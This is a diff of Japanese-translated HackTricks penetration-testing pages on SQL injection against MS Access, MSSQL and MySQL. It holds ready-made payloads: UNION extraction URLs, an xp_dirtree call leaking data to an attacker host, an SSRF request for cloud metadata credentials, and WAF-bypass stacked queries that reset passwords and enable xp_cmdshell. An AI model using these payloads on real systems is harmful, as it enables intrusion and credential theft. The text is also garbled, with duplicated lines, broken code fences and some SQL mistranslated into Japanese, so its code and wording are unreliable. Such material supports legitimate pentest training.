`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00` `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
ファイルを列挙する別の方法は、**データベース.テーブル項目を指定することです**。**指定された**ファイルが**存在する場合**、MS Accessは**データベース形式のエラーメッセージを表示します** ファイルを列挙する別の方法は、**データベース.テーブル アイテムを指定する**ことです。**指定されたファイルが存在する場合**、MS Access は**データベース形式のエラーメッセージ**を表示します。
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00` `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdbファイル名の推測 ### .mdb ファイル名の推測
**データベースファイル名 (.mdb)** は以下のクエリで推測できます: 次のクエリを使用して、**データベースファイル名 (.mdb)** を推測できます。
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
ここで、**name\[i]は.mdbファイル名**であり、**realTableはデータベース内に存在するテーブルです**。MS Accessは常にエラーメッセージをトリガーしますが、無効なファイル名と有効な.mdbファイル名を区別することが可能です。 ここで、**name\[i] は .mdb ファイル名**であり、**realTable はデータベース内の存在するテーブル**です。MS Access は常にエラーメッセージをトリガーしますが、無効なファイル名と有効な .mdb ファイル名を区別することができます。
### .mdbパスワードクラッカー ### .mdb パスワードクラッカー
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) は、Microsoft Access 95/97/2000/XPまたはJet Database Engine 3.0/4.0のメインデータベースパスワードを回復するために使用できる無料のユーティリティです。 [**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) は、Microsoft Access 95/97/2000/XP または Jet Database Engine 3.0/4.0 のメインデータベースパスワードを回復するために使用できる無料のユーティリティです。
## 参考文献 ## 参考文献
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) * [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
</details>
```

View file

@ -2,26 +2,26 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** - **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
</details> </details>
## Active Directoryの列挙 ## Active Directoryの列挙
次のMSSQL関数を使用して、**MSSQL内のSQLインジェクションを介してドメインユーザーを列挙する**ことができる場合があります: 次のMSSQL関数を使用して、MSSQLサーバー内でSQLインジェクションを介して**ドメインユーザーを列挙する**ことが可能です:
- **`SELECT DEFAULT_DOMAIN()`**現在のドメイン名を取得します。 - **`SELECT DEFAULT_DOMAIN()`**: 現在のドメイン名を取得します。
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**ドメインの名前を知っている場合この例では_DOMAIN、この関数は16進数形式で**ユーザーAdministratorのSID**を返します。これは`0x01050000000[...]0000f401`のように見えます。最後の4バイトが、**ユーザーAdministratorの一般的なIDである500**の**ビッグエンディアン形式**であることに注意してください。\ - **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: ドメイン名を知っている場合この例では_DOMAIN_、この関数は16進数形式で**ユーザーAdministratorのSID**を返します。これは`0x01050000000[...]0000f401`のように見えます。最後の4バイトが、**ユーザーAdministratorの一般的なIDである500**の**ビッグエンディアン形式**であることに注意してください。\
この関数を使用すると、**ドメインのIDを知ることができます**最後の4バイト以外のすべてのバイト この関数を使用すると、**ドメインのIDを知ることができます**最後の4バイト以外のすべてのバイト
- **`SUSER_SNAME(0x01050000000[...]0000e803)`**この関数は、指定されたIDの**ユーザー名を返します**(存在する場合)。この場合、**0000e803**はビッグエンディアンで**1000**に等しい(通常、これは作成された最初の通常のユーザーIDのIDです。その後、1000から2000までのユーザーIDをブルートフォースし、おそらくドメインのすべてのユーザーのユーザー名を取得できると想像できます。たとえば、次のような関数を使用することができます - **`SUSER_SNAME(0x01050000000[...]0000e803)`** : この関数は、指定されたIDの**ユーザー名を返します**(存在する場合)。この場合、**0000e803**はビッグエンディアンで**1000**に等しい通常、これは作成された最初の通常のユーザーIDです。その後、1000から2000までのユーザーIDをブルートフォースし、おそらくドメインのすべてのユーザーのユーザー名を取得できると想像できます。たとえば、次のような関数を使用することができます
```python ```python
def get_sid(n): def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236' domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@ -31,7 +31,7 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
``` ```
## **代替エラーベースのベクター** ## **代替エラーベースのベクター**
エラーベースのSQLインジェクションは通常、`+AND+1=@@version--`のような構造をしており、OR演算子に基づく変もある。このような式を含むクエリは通常、WAFによってブロックされる。回避策として、%2b文字を使用して文字列を連結し、特定の関数呼び出しの結果と組み合わせることで、求めているデータにデータ型変換エラーを引き起こす関数をトリガーする。 エラーベースのSQLインジェクションは通常、`+AND+1=@@version--`のような構造をしており、OR演算子に基づく変もある。このような式を含むクエリは通常、WAFによってブロックされる。回避策として、%2b文字を使用して文字列を連結し、求めているデータでデータ型変換エラーを引き起こす特定の関数呼び出しの結果と組み合わせる。
このような関数の例: このような関数の例:
@ -109,10 +109,9 @@ EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
さらに、`master..xp_fileexist`や`xp_subdirs`などの代替ストアドプロシージャがあり、同様の結果を達成できます。`xp_fileexist`の詳細については、この[TechNetの記事](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)を参照してください。 さらに、`master..xp_fileexist`や`xp_subdirs`などの代替ストアドプロシージャがあり、同様の結果を達成できます。`xp_fileexist`の詳細については、この[TechNetの記事](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)を参照してください。
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a> ### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
明らかに、**`xp_cmdshell`**を使用して、**SSRF**をトリガーする何かを**実行**することもできます。詳細については、ページ内の該当セクションを**読んでください** 明らかに、**`xp_cmdshell`**を使用して、**SSRF**をトリガーする何かを**実行**することができます。詳細については、ページ内の関連セクションを**読んでください**
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} {% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/) [pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
@ -140,11 +139,11 @@ return new SqlString(html);
} }
} }
``` ```
実行する前に、`CREATE ASSEMBLY` SQLコマンドを実行する前に、次のSQLスニペットを実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加することが推奨されます`select * from sys.trusted_assemblies;`を使用して表示可能)。 `CREATE ASSEMBLY` SQLコマンドを実行する前に、次のSQLスニペットを実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加することが推奨されます`select * from sys.trusted_assemblies;`を使用して表示可能)。
```sql ```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
``` ```
成功したアセンブリの追加と関数の作成後、次のSQLコードを使用してHTTPリクエストを実行できます 成功してアセンブリを追加し、関数を作成した後、次のSQLコードを使用してHTTPリクエストを実行できます
```sql ```sql
DECLARE @url varchar(max); DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/'; SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
@ -154,7 +153,7 @@ SELECT dbo.http(@url);
[ここからのトリック](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)。 [ここからのトリック](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)。
1つのクエリでテーブルの全コンテンツを抽出する簡潔な方法は、`FOR JSON`句を利用することです。このアプローチは、"raw"のような特定のモードが必要な`FOR XML`句よりも簡潔です。`FOR JSON`句は簡潔さが好まれます。 1つのクエリでテーブルの全内容を抽出する簡潔な方法は、`FOR JSON`句を利用することです。このアプローチは、"raw"のような特定のモードが必要な`FOR XML`句よりも簡潔です。`FOR JSON`句は簡潔さが求められるため好まれます。
現在のデータベースからスキーマ、テーブル、および列を取得する方法は次のとおりです: 現在のデータベースからスキーマ、テーブル、および列を取得する方法は次のとおりです:
```sql ```sql
@ -162,9 +161,7 @@ https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,ta
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done: In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```sql ```sql
```plaintext https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
https://vuln.app/getItem?id=1'+および1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
``` ```
### Retrieving the Current Query ### Retrieving the Current Query
@ -175,12 +172,12 @@ For users granted the `VIEW SERVER STATE` permission on the server, it's possibl
```sql ```sql
```plaintext ```plaintext
SQL Injection MSSQLの例
以下は、MSSQLのSQL Injection攻撃の例です。
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
``` ```
```plaintext
MSSQLインジェクション攻撃の例です。この攻撃では、sys.dm_exec_requestsとsys.dm_exec_sql_textを使用してSQL文を取得します。
```
``` ```
To check if you have the VIEW SERVER STATE permission, the following query can be used: To check if you have the VIEW SERVER STATE permission, the following query can be used:
@ -198,46 +195,28 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV
Non-standard whitespace characters: %C2%85 или %C2%A0: Non-standard whitespace characters: %C2%85 или %C2%A0:
``` ```
```md
## MSSQL Injection ## MSSQL Injection
### MSSQL Union-Based Injection ### MSSQL Union-Based Injection
#### Description To perform a union-based SQL injection on a MSSQL database, you can use the following payload in the URL parameter:
The MSSQL Union-Based Injection technique is used to retrieve information from a database by combining the result sets of two or more SELECT statements. This technique can be used to extract data from the database that the application may not normally return. ```
#### Payload
```plaintext
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
``` ```
#### Explanation This payload will attempt to retrieve the version of the MSSQL database by injecting a UNION SELECT statement into the original SQL query.
```
- `1` is the original query to retrieve an item with the ID of 1.
- `%C2%85` represents the Unicode character for a vertical tab, which is used as a union operator in MSSQL.
- `union` is the keyword to combine the result sets.
- `select null,@@version,null` is the injected SQL statement to retrieve the version of the MSSQL database.
- `--` is used to comment out the rest of the original query to avoid syntax errors.
#### Impact
By successfully executing an MSSQL Union-Based Injection, an attacker can retrieve sensitive information from the database, such as version numbers, table names, and other data that can aid in further attacks.
``` ```
Scientific (0e) and hex (0x) notation for obfuscating UNION: Scientific (0e) and hex (0x) notation for obfuscating UNION:
``` ```
```md ```plaintext
## MSSQL Injection https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
### Union-Based MSSQL Injection https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
The following are examples of union-based MSSQL injection for extracting the version of the database:
- `https://vuln.app/getItem?id=0eunion+select+null,@@version,null--`
- `https://vuln.app/getItem?id=0xunion+select+null,@@version,null--`
``` ```
``` ```
@ -248,9 +227,17 @@ A period instead of a whitespace between FROM and a column name:
### MSSQL Union-Based Injection ### MSSQL Union-Based Injection
The following URL is vulnerable to a union-based SQL injection targeting a MSSQL database: The following URL is an example of a union-based SQL injection targeting a MSSQL database:
```plaintext
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
``` ```
### MSSQL ユニオンベースのインジェクション
以下のURLは、MSSQLデータベースをターゲットにしたユニオンベースのSQLインジェクションの例です
```plaintext
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
``` ```
``` ```
@ -258,17 +245,17 @@ https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N separator between SELECT and a throwaway column: \N separator between SELECT and a throwaway column:
``` ```
```plaintext ## MSSQL Injection
SQL Injection (MSSQL) Example:
URL: https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- ### Union-Based SQL Injection
```
To perform a union-based SQL injection on a MSSQL database, you can use the following payload in the vulnerable parameter:
```plaintext ```plaintext
SQLインジェクションMSSQLの例 https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
URL: https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
``` ```
This payload will retrieve the version of the MSSQL database.
``` ```
### WAF Bypass with unorthodox stacked queries ### WAF Bypass with unorthodox stacked queries
@ -276,8 +263,14 @@ URL: https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";": According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql ```sql
```plaintext ```sql
'a' を選択します 'b' を選択します SELECT 'a' SELECT 'b'
```
---
```sql
SELECT 'a' SELECT 'b'
``` ```
``` ```
@ -285,11 +278,11 @@ So for example, multiple queries such as:
```sql ```sql
```plaintext ```plaintext
[tempdb]を使用 [tempdb]を使用する
テーブル[test]を作成 ([id] int) テーブル[test]を作成する ([id] int)
[test]に値(1)を挿入 [test]に値(1)を挿入する
[test]から[id]を選択 [test]から[id]を選択する
テーブル[test]を削除 [test]を削除する
``` ```
``` ```
@ -304,24 +297,21 @@ use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[tes
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example: Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
``` ```
# 最後に無駄なexec()を追加し、WAFにこれが有効なクエリではないと思わせる # 無駄なexec()を追加し、WAFにこれが有効なクエリではないと思わせる
admina'union select 1,'admin','testtest123'exec('select 1')-- admina'union select 1,'admin','testtest123'exec('select 1')--
## これは次のようになります:
## これは以下のようになります:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--' exec('select 1')--'
# 奇妙に構築されたクエリを使用する # 奇妙に構築されたクエリを使用する
admin'exec('update[users]set[password]=''a''')-- admin'exec('update[users]set[password]=''a''')--
## これは次のようになります:
## これは以下のようになります:
SELECT id, username, password FROM users WHERE username = 'admin' SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--' exec('update[users]set[password]=''a''')--'
# またはxp_cmdshellを有効にする # またはxp_cmdshellを有効にする
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## これは次のようになります:
## これは以下のようになります:
select * from users where username = ' admin' select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
@ -341,7 +331,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加**または[Telegramグループ](https://t.me/peass)に参加し、または**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有**するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 [**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -66,7 +66,7 @@ from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/]
## フロー ## フロー
"現代"の**MySQL**バージョンでは、"_**information\_schema.tables**_"を"_**mysql.innodb\_table\_stats**_**"**に置き換えることができますこれはWAFをバイパスするのに役立つかもしれません "現代"の**MySQL**バージョンでは、"_**information\_schema.tables**_"を"_**mysql.innodb\_table\_stats**_"に置き換えることができますこれはWAFをバイパスするのに役立つかもしれません
```sql ```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
@ -115,29 +115,29 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
``` ```
## SSRF ## SSRF
**[**Mysqlインジェクションを悪用してSSRFを取得するための異なるオプションをここで学ぶ**](mysql-ssrf.md)**。** **[**Mysqlインジェクションを悪用してSSRFを取得する方法**](mysql-ssrf.md)**について、異なるオプションをここで学んでください。**
## WAFバイパストリック ## WAFバイパストリック
### Information\_schemaの代替案 ### Information\_schemaの代替案
"現代の" **MySQL** のバージョンでは、_**information\_schema.tables**_ を _**mysql.innodb\_table\_stats**_ または _**sys.x$schema\_flattened\_keys**_ または **sys.schema_table_statistics** に置き換えることができることを覚えておいてください。 "現代"の**MySQL**のバージョンでは、_**information\_schema.tables**_を_**mysql.innodb\_table\_stats**_や_**sys.x$schema\_flattened\_keys**_、または**sys.schema_table_statistics**に置き換えることができることを覚えておいてください。
### コンマなしのMySQLインジェクション ### コンマを使用せずにMySQLインジェクション
コンマを使用せずに2つの列を選択する[https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma) コンマを使用せずに2つの列を選択する[https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
``` ```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
``` ```
### 列名なしで値を取得する ### 列名なしで値を取得する
もしテーブルの名前はわかっているけど、テーブル内の列名がわからない場合、次のようなコマンドを実行して列の数を見つけることができます: ある時点でテーブルの名前はわかっているが、テーブル内の列名がわからない場合、次のようなコマンドを実行して列の数を見つけてみることができます:
```bash ```bash
# When a True is returned, you have found the number of columns # When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
``` ```
仮定して、2つの列があるとします最初の列がIDで、もう1つがフラグです、フラグの内容を1文字ずつ試すことでブルートフォース攻撃を試みることができます 仮定して、2つの列があるとします最初の列がIDで、もう1つがフラグです、フラグの内容を1文字ずつ試ことでブルートフォース攻撃を試みることができます
```bash ```bash
# When True, you found the correct char and can start ruteforcing the next position # When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1); select (select 1, 'flaf') = (SELECT * from demo limit 1);
@ -164,18 +164,18 @@ mysql> select version();
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。 [**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントの1つであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
